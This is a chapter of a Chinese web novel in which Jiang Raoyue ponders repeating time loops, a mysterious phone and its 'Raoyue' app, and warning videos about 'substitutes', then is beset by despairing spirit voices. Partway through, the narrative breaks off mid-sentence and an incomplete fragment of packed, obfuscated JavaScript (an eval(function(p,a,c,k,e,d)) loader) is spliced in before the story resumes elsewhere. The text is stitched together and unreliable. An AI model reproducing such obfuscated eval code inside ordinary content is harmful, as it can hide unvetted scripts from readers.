姜绕月毕竟没有真实记忆,只凭记录日记得知一二,无法说清两世界除了时间可能不一样外其他区别,以及如何前往“未来世界”方法,还有那姜水之森。 还有沈归岷…… 坠日日出同时发生,为一次循环的终止,第二次循环的开始。 第一次循环,她拥有身为战士候选人的记忆,来到过去世界后,被吸进狐猴母亲肚子,成为环尾小狐猴,经历坠日后,下山抢走沈归岷手机,由于不能解锁手机,只能看日期。 一直到第三次循环,都和第一次循环大体一样,从成为小狐猴开始,重新体验经历过的事情。 且每次都下山抢手机,每次抢的对象都是沈归岷。 直到第四次循环,她成为了妖怪,也就是妖种,她的手可以化成人类手,也就是自己本来身体的手,因此解锁抢来手机。 为什么沈归岷手机,她能解锁?还是说这个手机本来就是她的?为什么手机里有眼镜拍的视频?为什么沈归岷会有这个手机?疑问太多,无从回答。 总之,在第四次循环中,她看到眼镜拍的“说找替身”视频,还通过“骨冢之地”,刷新到战士候选人记录、骨冢技能等信息。 最最重要的,那时的她想起接下来、还未发生的第五次循环。 不对,看到眼镜拍的视频后,那时的她回想起一切。否则说不出“然后,一切循环。整个世界都在循环”的话。 但,为什么看视频,便可唤醒记忆?其中联系,究竟隐含什么原理? 在第五个循环,即姜绕月的现下如今,为什么又忘记了一切? 第五个循环和其他四个循环的区别究竟在哪?记录日记?骨冢之地?应该都不是。 还是那个视频。 第四次循环的她,看到“替身”视频,想起一切,却在第五次循环时,忘记之前一切。 此刻,她坐在骨冢之地旁,身侧便是一个手机,她用这个手机联系眼镜胖子两人。 而今日能在哀嚎坡找到手机,也是“骨冢之地”发挥“找到目前最需之物”作用。 她下定决心,解锁手机,映入眼帘的是手机壁纸,很稚嫩的一幅画,两个大人牵着两个小孩,里面的软件都是常规软件。 姜绕月左右翻览,没找到特别的东西,点进相册,什么也没有。 这个手机,是从沈归岷那抢来的手机吗?不,不是抢来的。 在第五次循环里,手机不是她抢来的,而是她在日山上找到的,隐约就是在“骨冢之地”找到。 这就是个普通手机,和当初联系眼镜胖子两人时,没有一点差别,她现在点进两人聊天框,还能看之前聊天记录。 姜绕月仔细探查手机,上下左右翻,一无所获。 实在束手无策,姜绕月站起来,试图举起手机,看能不能接收到神秘信号,神秘信号没有,阳光有,灿阳穿过树林,进入她的眼里,她眨了眨眼,身形没动,阳光依旧在眼里。 眼前的手机却发生变化。 姜绕月再翻览,竟翻到新的一页,这页上只有一个软件,图标黑色,软件名为“绕月”。 她点开绕月APP,“检测中”三字映入眼帘。 却是“检测失败,您不是姜绕月。” 姜绕月奇了,她不是姜绕月,谁是? 她看向阳光,心念一动,方才阳光稍斜,并没有照进她眼里,现在她站在阳光正对面,阳光肆意照射进眼底。 她的眼睛金灿灿的,仿若盛着一个太阳。 而这时,APP显示“检测通过,绕月你好,距上次见面,已是一年三个月。” 一年三个月? 进不归林后第三天,计槐好奇她的身体构造,叫她恢复狐猴形态,说她还是一个一年多几个月才独立的小狐猴,要两年才算成熟。 实打实算,她来到这个世界也才一年多。 而APP说上次见面是一年三个月前。 这个时间,就像她一来到这个世界,进入狐猴母亲肚子后,便跟绕月APP说再见。 姜绕月有个大胆猜测,这个手机就是她带来的,她穿过姜水之森,便站在哀嚎坡这个降临点,却被吸进狐猴母亲肚子,手机自然落在哀嚎坡上,哀嚎坡又是“骨冢之地”,神奇地保管好她的手机,待某个时机,交给她。 她能化人形后,捡到哀嚎坡上自己的手机,利用手机联系眼镜胖子,再之后,手机离奇消失。 然后便是现在,又在哀嚎坡找到它,解锁绕月APP。 真是个神奇的手机,姜绕月慨叹。 绕月APP里,除了一个宇航员背景图外,只有上传、接收两个栏目。 姜绕月先点击上传,里面什么也没有,只有个用户,用户没有头像,用户名还是“绕月777号”。 再点击接收一栏,里面有四个视频。 最后一个视频便是眼镜拍的“他们在找替身,不要来日山”视频,而前三个则是其他人,他们皆神色惊恐,口中颠三倒四说着“不要来!不要来日山”“他们在找替身”两句。 姜绕月想到沈归岷骂她蠢货,说这种视频只会叫更多人来。 好吧,如果是她看到这种视频,她还真的会来,都能猜到自己的想法:我就要来就要来,我倒要来看看是什么。 也不知自己当初为什么引导眼镜胖子说出那些话来……像魔怔一样。 前面三个视频又是怎么回事? 难道依旧是她引导其他人拍下视频说的? 如果是这样的话,姜绕月有个很大胆的猜测。 坠日日出同时发生,为一次循环的终止,第二次循环的开始。 这都是小循环。 前三次小循环没有太大差别,第四次小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说到底,究竟怎样才能打破这无止境的循环? 姜绕月脱力般坐在地上,僵硬转头,看到“骨冢之地”,风声穿过空谷,是无数人的哀嚎。 她仿佛听见他们在说。 你和我们一样,被困在这里,困在过去,我们都是时间囚徒,永远见不到5月11日的太阳,永远回不了家。 “骨冢之地”,便是你和我的结局。 一切痛苦、挣扎都归尘与土,但□□灵魂皆未归乡。 黑色的亡魂从地底涌现,要把她拉下去。 跟我们一起绝望吧。 不要再找希望,希望就是绝望,跟我们一起懦弱,一起躲到太阳照不到的地方发抖,一起怯懦而死。 我们都不是英雄,我们都只是被世界命轨捶打的可怜之人,更何况,你还只是一个脆弱少女,怎可能拯救世界?放弃吧,你的放弃不会叫人嘲笑,因为你只是一个少女。 姜绕月被这些东西压在地上,抬不起头来,她的意志确实被这些突然涌现出来的杂念影响而消沉,然而,她的手搁在地面,却麻木地点击那些视频。 在许许多多“放弃吧,跟我们一起死吧”的声音里,她想,哪个视频才是第一个大循环? 或者说,什么是一切的开端? 她几乎没有思考,回答自己:“替身”是开端。 这句话没有缘故,她就是这样认为的。 “你真的太聪明了。” 这时,她心底有一个声音说。 不知是在说她最后那句“替身是开端”,还是之前她大循环小循环推论。也可能都是。 姜绕月意识到,这个声音是一直暗暗拉她进入绝望河流、浇灭她希望活力的声音,而且比那些亡魂哀嚎絮语更有杀伤力。 “她”又开始拉她入河溺亡。 那就拉她下来,因为是她的错。